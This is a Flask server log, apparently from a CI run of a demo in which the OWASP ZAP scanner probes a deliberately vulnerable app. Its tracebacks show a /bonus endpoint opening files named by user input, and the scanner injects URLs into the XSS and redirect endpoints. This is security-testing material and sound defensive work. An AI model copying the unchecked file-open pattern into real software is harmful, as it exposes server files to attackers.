172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 200 -
[2017-10-18 08:05:10,521] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:www.google.com:80'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 500 -
[2017-10-18 08:05:10,524] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:www.google.com'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=http%3A%2F%2Fwww.google.com HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 200 -
[2017-10-18 08:05:10,536] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:www.google.comsearchq=OWASP%20ZAP'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=http%3A%2F%2Fwww.google.com HTTP/1.1" 200 -
[2017-10-18 08:05:10,542] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:www.google.com:80searchq=OWASP%20ZAP'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
[2017-10-18 08:05:10,547] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'www.google.com'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=www.google.com%2F HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=www.google.com%2F HTTP/1.1" 200 -
[2017-10-18 08:05:10,550] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'www.google.com:80'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=www.google.com%3A80%2F HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=www.google.com%3A80%2F HTTP/1.1" 200 -
[2017-10-18 08:05:10,557] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'www.google.com'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=www.google.com HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=www.google.com HTTP/1.1" 200 -
[2017-10-18 08:05:10,560] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'www.google.comsearchq=OWASP%20ZAP'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
[2017-10-18 08:05:10,563] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'www.google.com:80searchq=OWASP%20ZAP'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /?query=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /mystery?name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=http%3A%2F%2Fwww.google.com HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=www.google.com%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=www.google.com%3A80%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=www.google.com HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /robots.txt?query=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=http%3A%2F%2Fwww.google.com HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=www.google.com%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=www.google.com%3A80%2F HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=www.google.com HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=http%3A%2F%2Fwww.google.com%2F&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=http%3A%2F%2Fwww.google.com%2F&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=http%3A%2F%2Fwww.google.com%3A80%2F&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=http%3A%2F%2Fwww.google.com&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=http%3A%2F%2Fwww.google.com%3A80%2F&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=http%3A%2F%2Fwww.google.com&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=www.google.com%2F&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=www.google.com%3A80%2F&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=www.google.com%2F&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=www.google.com&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=www.google.com%3A80%2F&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=www.google.com&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=http%3A%2F%2Fwww.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=http%3A%2F%2Fwww.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=www.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=www.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=www.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=www.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=www.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=www.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss2?a=k&name=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=http%3A%2F%2Fwww.google.com%2F&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=http%3A%2F%2Fwww.google.com%3A80%2F&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=http%3A%2F%2Fwww.google.com%2F&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=http%3A%2F%2Fwww.google.com&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=http%3A%2F%2Fwww.google.com%3A80%2F&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=http%3A%2F%2Fwww.google.com&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=www.google.com%2F&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=www.google.com%2F&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=www.google.com%3A80%2F&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=www.google.com%3A80%2F&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=www.google.com&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=www.google.com&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=http%3A%2F%2Fwww.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=http%3A%2F%2Fwww.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=www.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=www.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=www.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=www.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=www.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=www.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss3?a=k&name=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss4?a=k&name=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=http%3A%2F%2Fwww.google.com%2F&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=http%3A%2F%2Fwww.google.com%3A80%2F&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=http%3A%2F%2Fwww.google.com&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=www.google.com%2F&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=www.google.com%3A80%2F&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=www.google.com&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=http%3A%2F%2Fwww.google.com HTTP/1.1" 200 -
